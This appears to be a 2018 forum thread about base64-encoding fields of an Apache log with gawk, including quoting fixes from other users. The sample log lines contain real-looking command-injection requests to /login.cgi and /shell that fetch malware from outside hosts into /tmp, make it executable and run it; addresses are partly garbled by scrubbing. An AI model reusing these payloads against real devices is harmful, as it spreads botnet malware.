Base64 conversion in awk overlaps

busyboy · August 22, 2018, 8:26am

hi,

problem:
output is not consistent as expected using external command in AWK

description:

I'm trying to convert $2 into a base64 string for later decoding, and for this when I use [g]awk , I'm getting overlapped results , or say it results are not 100% correct.

my code is:

gawk -F\" ' { print $2;  cmd="echo "$2" | base64";cmd| getline x;close(cmd); print x }' /var/log/apache2/other_vhosts_access.log

and the output is given below, not all lines are encoded using base64.

UE9TVCAvaXBsaWZ0L2dldF9pcF9saXN0LnBocD92PTQgSFRUUC8xLjEK
GET / HTTP/1.1
R0VUIC8gSFRUUC8xLjEK ---------> sample encoded
GET /action=detail,pid=1044 HTTP/1.1
R0VUIC9wcm9wZXJ0eS1zZWFyY2h+YWN0aW9uPWRldGFpbCxwaWQ9MTA0NCBIVFRQLzEuMQo=  ---------> sample encoded
GET /?load=css&file=master/styles/details.css HTTP/1.1
sh: 1: HTTP/1.1: not found
GET /?load=css
GET /?load=css&file=com_master/styles/text.css HTTP/1.1
sh: 1: HTTP/1.1: not found
GET /?load=css
GET /?load=css&file=master/styles/boxes.css HTTP/1.1
sh: 1: HTTP/1.1: not found
GET /?load=css
GET /?load=css&file=master/styles/quick-search.css HTTP/1.1
sh: 1: HTTP/1.1: not found
GET /?load=css
GET /?load=css&file=master/styles/results.css HTTP/1.1
sh: 1: HTTP/1.1: not found
GET /?load=css
GET /?load=css&file=master/styles/style.css HTTP/1.1
sh: 1: HTTP/1.1: not found
GET /?load=css
GET /?load=css&file=master/styles/myarea.css HTTP/1.1
sh: 1: HTTP/1.1: not found
GET /?load=css
GET /?load=css&file=master/styles/form.css HTTP/1.1
sh: 1: HTTP/1.1: not found
GET /?load=css
GET /?load=css&file=master/styles/template.css HTTP/1.1

input is simply an apache2 log file.

REgards,

vgersh99 · August 22, 2018, 10:25am

your issue is with the embedded quotes around $2 for echo .
One possible alternative:

gawk -F\" -v qq='"' { print $2;  cmd="echo " qq $2 qq" | base64";cmd| getline x;close(cmd); print x }' /var/log/apache2/other_vhosts_access.log

RudiC · August 22, 2018, 2:34pm

Pls post an input sample.

busyboy · August 23, 2018, 4:50am

Here is the sample input

My apologies to re-edit. I need to encode $3 in this below given input into base64 for a later decoding( only $3 encoding is required, while rest is already used in arrays ) . Thanks

5.4.4585.4.45.25.4.455.4.45.5.4.4597.2   HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour209.5.4.4545.4.45.33.86/d%20-O%20-%3E%20/tmp/.shinka;sh%20/tmp/.shinka%27$ HTTP/5.4.45.5.4.45
5.4.45.53.25.4.455.4.45.0      HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour5.4.4576.32.32.5.4.4556/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45
5.4.4578.47.5.4.4523.90   HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour209.5.4.4545.4.45.33.86/d%20-O%20-%3E%20/tmp/.shinka;sh%20/tmp/.shinka%27$ HTTP/5.4.45.5.4.45
5.4.45.53.68.35.4.45      HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour5.4.4576.32.32.5.4.4556/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45
5.4.4556.25.4.452.208.230 HHH /shell?cd+/tmp;wHHH+oiweoweour80.25.4.455.4.45.5.4.455.4.452.5.4.4550/js;chmod+777+js;./js HTTP/5.4.45.5.4.45
27.79.5.4.4597.53    HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour209.5.4.4545.4.45.33.86/d%20-O%20-%3E%20/tmp/.shinka;sh%20/tmp/.shinka%27$ HTTP/5.4.45.5.4.45
27.5.4.4509.96.5.4.4560   HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour25.4.452.237.32.62/k%20-O%20-%3E%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/5.4.45.5.4.45
5.4.4556.25.4.456.25.4.458.235 HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour50.5.4.455.4.455.5.4.4566.5.4.4536/hakai.mips%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45
25.4.459.5.4.4555.5.4.458.50   HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour209.5.4.4545.4.45.33.86/d%20-O%20-%3E%20/tmp/.shinka;sh%20/tmp/.shinka%27$ HTTP/5.4.45.5.4.45
35.4.45.5.4.4563.5.4.455.4.452.5.4.4555.4.45  HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour80.25.4.455.4.45.67.245/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/5.4.45.5.4.45
5.4.4597.39.5.4.4592.237  HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour5.4.4576.32.32.5.4.4556/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45
5.4.4556.225.4.45.54.246  HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour5.4.4576.32.32.5.4.4556/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45
35.4.45.5.4.4563.5.4.4503.5.4.4572  HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour209.5.4.4545.4.45.33.86/d%20-O%20-%3E%20/tmp/xb;sh%20/tmp/xb%27$ HTTP/5.4.45.5.4.45
45.4.45.42.255.94    HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour5.4.4576.32.32.5.4.4556/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45
5.5.4.4540.5.4.456.5.4.4536    HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour209.5.4.4545.4.45.33.86/d%20-O%20-%3E%20/tmp/.shinka;sh%20/tmp/.shinka%27$ HTTP/5.4.45.5.4.45
42.5.4.455.4.453.5.4.455.4.455.4.45.242  HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour5.4.4576.32.32.5.4.4556/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45
5.4.4556.5.4.4598.245.37  HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour5.4.4576.32.32.5.4.4556/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45
45.4.45.45.5.4.4576.86    HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour5.4.4576.32.32.5.4.4556/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45
5.4.4583.5.4.4502.225.4.45.5.4.4596 HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour209.5.4.4545.4.45.33.86/d%20-O%20-%3E%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/5.4.45.5.4.45
46.205.4.45.45.4.45.5.4.4592   HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour209.5.4.4545.4.45.33.86/d%20-O%20-%3E%20/tmp/xb;sh%20/tmp/xb%27$ HTTP/5.4.45.5.4.45
5.4.4597.45.4.45.5.4.4579.65.4.45   HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour50.5.4.455.4.455.5.4.4566.5.4.4536/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45
5.4.4556.5.4.4598.253.220 HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour50.5.4.455.4.455.5.4.4566.5.4.4536/hakai.mips%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45
83.235.5.4.4582.234  HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour5.4.4599.5.4.4595.254.5.4.455.4.458/dlink%20-O%20-%3E%20/tmp/xd;sh%20/tmp/xd%27$ HTTP/5.4.45.5.4.45
25.4.450.203.243.5.4.4575 HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour25.4.452.237.32.62/k%20-O%20-%3E%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/5.4.45.5.4.45
35.4.45.5.4.4563.34.5.4.453    HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour209.5.4.4545.4.45.33.86/d%20-O%20-%3E%20/tmp/xb;sh%20/tmp/xb%27$ HTTP/5.4.45.5.4.45
5.4.4556.25.4.459.239.27  HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour50.5.4.455.4.455.5.4.4566.5.4.4536/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45
5.4.4556.202.5.4.4599.5.4.4548 HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour50.5.4.455.4.455.5.4.4566.5.4.4536/hakai.mips%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45
5.5.4.4550.5.4.4535.4.45.5.4.4573   HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour209.5.4.4545.4.45.33.86/d%20-O%20-%3E%20/tmp/.shinka;sh%20/tmp/.shinka%27$ HTTP/5.4.45.5.4.45
27.5.4.4525.4.45.8.240    HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour25.4.452.237.32.62/k%20-O%20-%3E%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/5.4.45.5.4.45
5.4.4597.42.25.4.455.4.45.2    HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour5.4.4576.32.32.5.4.4556/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45
202.226.244.235.4.45 HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour25.4.452.237.32.62/k%20-O%20-%3E%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/5.4.45.5.4.45
45.4.45.236.5.4.4585.4.45.5.4.4540  HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour5.4.4576.32.32.5.4.4556/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45
5.4.4588.5.4.4565.56.208  HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour209.5.4.4545.4.45.33.86/d%20-O%20-%3E%20/tmp/.shinka;sh%20/tmp/.shinka%27$ HTTP/5.4.45.5.4.45
5.4.4556.25.4.458.5.4.455.4.456.5.4.4588 HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour50.5.4.455.4.455.5.4.4566.5.4.4536/hakai.mips%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45
5.4.4597.54.5.4.4545.5.4.4524  HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour5.4.4576.32.32.5.4.4556/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45
45.4.45.47.5.4.455.4.455.94    HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour5.4.4576.32.32.5.4.4556/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45
79.23.5.4.4520.5.4.4567   HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour80.25.4.455.4.45.67.245/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/5.4.45.5.4.45
37.79.5.4.4555.86    HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour80.25.4.455.4.45.67.245/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/5.4.45.5.4.45
45.4.45.238.25.4.458.209  HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour5.4.4576.32.32.5.4.4556/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/5.4.45.5.4.45

------ Post updated at 02:50 PM ------

vgersh99:

your issue is with the embedded quotes around $2 for echo .
One possible alternative:
gawk -F\" -v qq='"' { print $2;  cmd="echo " qq $2 qq" | base64";cmd| getline x;close(cmd); print x }' /var/log/apache2/other_vhosts_access.log

Hi, I'm now getting

-bash: syntax error near unexpected token `cmd'

RudiC · August 23, 2018, 5:08am

Help me out - why do you set the field seprator to " when there is NO " in your input file? $2 (requested in post#1) will be the empty string... as will $3 requested in post#4.

busyboy · August 23, 2018, 6:33am

I was expecting this from you only @RudiC... Actual input is very thin to paste here..this is why I specifically mentioned in 2nd response that I need to encode $2 using base64 (only).. forget the

 -F\"

please for now.

the other problem is that its a million lines file and every $2 has to be encoded using base64.. the [g]awk runs out or whatevery happens, it is giving me scambled results instead of line by line encoding using external command of base64 in linux/debian.

Anyways, thanks for your input.

RudiC · August 23, 2018, 6:52am

What be $2 in your second response?

busyboy · August 23, 2018, 8:23am

$2 is a url data ;;; from apache2 logs... just need to encrypt them using base64.

vgersh99 · August 23, 2018, 9:16am

seconding RudiC's ask - what $2 (or $3) in this sample line you'd need to encode?

5.4.4585.4.45.25.4.455.4.45.5.4.4597.2   HHH /login.cgi?cli=aa%20aa%27;wHHH%20oiweoweour209.5.4.4545.4.45.33.86/d%20-O%20-%3E%20/tmp/.shinka;sh%20/tmp/.shinka%27$ HTTP/5.4.45.5.4.45

On top of the ask above, how about this for $3 ?

awk -v qq='"' '{ print $3;  cmd="echo " qq $3 qq" | base64";cmd| getline x;close(cmd); print x }' myFile

busyboy · August 24, 2018, 5:43am

awk -v qq='"' '{ print $3;  cmd="echo " qq $3 qq" | base64";cmd| getline x;close(cmd); print x }' myFile

worked for me ;;; thanks for your help @vgersh99